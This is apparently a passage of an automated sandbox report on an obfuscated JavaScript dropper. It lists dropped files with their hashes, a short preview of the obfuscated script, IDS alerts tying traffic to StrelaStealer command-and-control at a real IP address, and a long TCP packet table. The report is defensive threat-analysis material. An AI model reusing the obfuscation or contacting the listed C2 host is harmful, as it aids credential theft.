Entropy (8bit):	5.407353994555918
Encrypted:	false
SSDEEP:	768:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRldy0+AyxkHBDgRh9gROx+y2J:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRX
MD5:	10BCD08F01E08293949CED5E72B96044
SHA1:	415A86F01748F74F4DD3B0E33A15133F95D9DBB2
SHA-256:	93835851D578571B4163041C27B912F84B591A6354711B8F56B91B562E34CB26
SHA-512:	CEBFF881DCD67BCCD1802C31442CACA24D23AD541ED087029D30ABB2C8DD18B93D063ED9E43C11951EC21AC7C2DEE47BF02E6108CDE1235CE3A925091DBDC6B7
Malicious:	false
Preview:	05-10-2023 08:41:17:.---2---..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:41:17:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\1d668406-2cfc-493c-ba16-5259a4204627.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\40d0c6fb-b168-49e6-b004-412efaa9f0ff.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\b733f91a-39c2-4020-b9fd-5998bbfcbf5f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\e3c1589a-f818-40cc-93e9-54852fcf0a1d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLkwYIGNPMGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLkwZGuGZn3mlind9i4ufFXpAXkru
MD5:	CA6B0D9F8DDC295DACE8157B69CA7CF6
SHA1:	6299B4A49AB28786E7BF75E1481D8011E6022AF4
SHA-256:	A933C727CE6547310A0D7DAD8704B0F16DB90E024218ACE2C39E46B8329409C7
SHA-512:	9F150CDA866D433BD595F23124E369D2B797A0CA76A69BA98D30DF462F0A95D13E3B0834887B5CD2A032A55161A0DC8BB30C16AA89663939D6DCF83FAC056D34
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	false
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17067), with CRLF line terminators
Entropy (8bit):	4.899558732275736
TrID:
File name:	22931850270221075.js
File size:	20'642 bytes
MD5:	d8dcac7045ee59c6f48c9c47b6cb684f
SHA1:	68ecf3c2db1ff3a1ddb59b5bda56b7918acb7e96
SHA256:	74eb04b7346163539c779a6e70bf290355c07131419c1e473bb8ba4ac96c3ed1
SHA512:	969b0211b18c5d3a2c5bbf24de31aaaed7804afc5d8b9cf23cf6f08b118a84e83ca4bc80b0fe0998e31424792f3c45863278b791e25dbe5ddce17fbd756003ad
SSDEEP:	384:rCtdtxbMa0tGlUOK/kUOY31aYC8TxmTyoosfHuAcpLlhoMJ1c1vShpmCIumeHFLW:rCrtxbMa0olUO/UOY31aYC8TxmTyoos3
TLSH:	9F92530A8E101A478EF40AE46FDBC0DB70E01A449A9419AFE1D764CC5F586B53BFB47B
File Content Preview:	function avafzf(){wtokjfefw=[1031,3079,5127,4103,2055,3072];var olrgjxbr=this[zkpsimcq+mvenwpw+oqylrzch+smonremu+ljoemgwl+orshgmo+rzotrc+rgrozbjt](this[xfnyayz+iorwku+sifigkpm+oqylrzch+mtyqgvk+zkpsimcq+rgrozbjt][jzmrqkc+oqylrzch+ljoemgwl+mvenwpw+rgrozbjt+

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T08:30:19.993508+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.7	49702	193.143.1.205	80	TCP
2025-01-11T08:30:19.993508+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.7	49702	193.143.1.205	80	TCP
2025-01-11T08:30:22.097400+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.7	49703	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 08:30:19.209449053 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:19.214330912 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:19.214509010 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:19.217580080 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:19.223412037 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:19.993297100 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:19.993446112 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:19.993482113 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:19.993508101 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:19.993607998 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:19.993642092 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:19.993668079 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:19.993674994 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:19.993709087 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:19.993761063 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:19.993767023 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:19.993818045 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:19.993824005 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:19.993860006 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:19.993918896 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:19.999577999 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.039412975 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.039434910 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.039494991 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.113780975 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.113805056 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.113816023 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.113874912 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.113965034 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.114065886 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.114098072 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.114129066 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.114142895 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.114504099 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.114556074 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.114588976 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.114623070 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.114624977 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.114660025 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.114667892 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.115252018 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.115317106 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.115371943 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.115437984 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.115470886 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.115484953 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.115506887 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.116003036 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.116189003 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.116221905 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.116255045 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.116276979 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.116317987 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.116352081 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.116364002 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.117022991 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.117363930 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.166255951 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.166299105 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.166333914 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.166379929 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.200484037 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.200532913 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.200555086 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.235713005 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.235752106 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.235781908 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.235788107 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.235841036 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.235841036 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.235877037 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.235971928 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.235990047 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.236402988 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.236438036 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.236490011 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.236829996 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.236864090 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.236890078 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.236900091 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.236951113 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.237303019 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.237337112 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.237369061 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.237384081 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.237447977 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.237482071 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.237529993 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.238280058 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.238313913 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.238339901 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.238348007 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.238382101 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.238415003 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.238434076 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.238464117 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.239018917 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.239072084 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.239115953 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.239161968 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.239162922 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.239197969 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.239211082 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.239888906 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.239933968 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.240052938 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.240086079 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.240118980 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.240151882 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.240181923 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.240202904 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.240750074 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.240802050 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.240835905 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.240869999 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.240890026 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.240904093 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.240925074 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.241620064 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.241663933 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.241672039 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.241707087 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.241776943 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.241805077 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.241830111 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.241868019 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.252762079 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.252818108 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.252851963 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.252875090 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.252966881 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.253005981 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.253011942 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.282187939 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.282239914 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.282244921 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.322524071 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.322562933 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.322585106 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.322597980 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.322633982 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.322679996 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.357475042 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.357518911 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.357532978 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.357574940 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.357628107 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.357661963 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.357671976 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.357707024 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.357912064 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.357942104 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.358006954 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.358102083 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.358155012 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.358187914 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.358201027 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.358644962 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.358694077 CET	49702	80	192.168.2.7	193.143.1.205
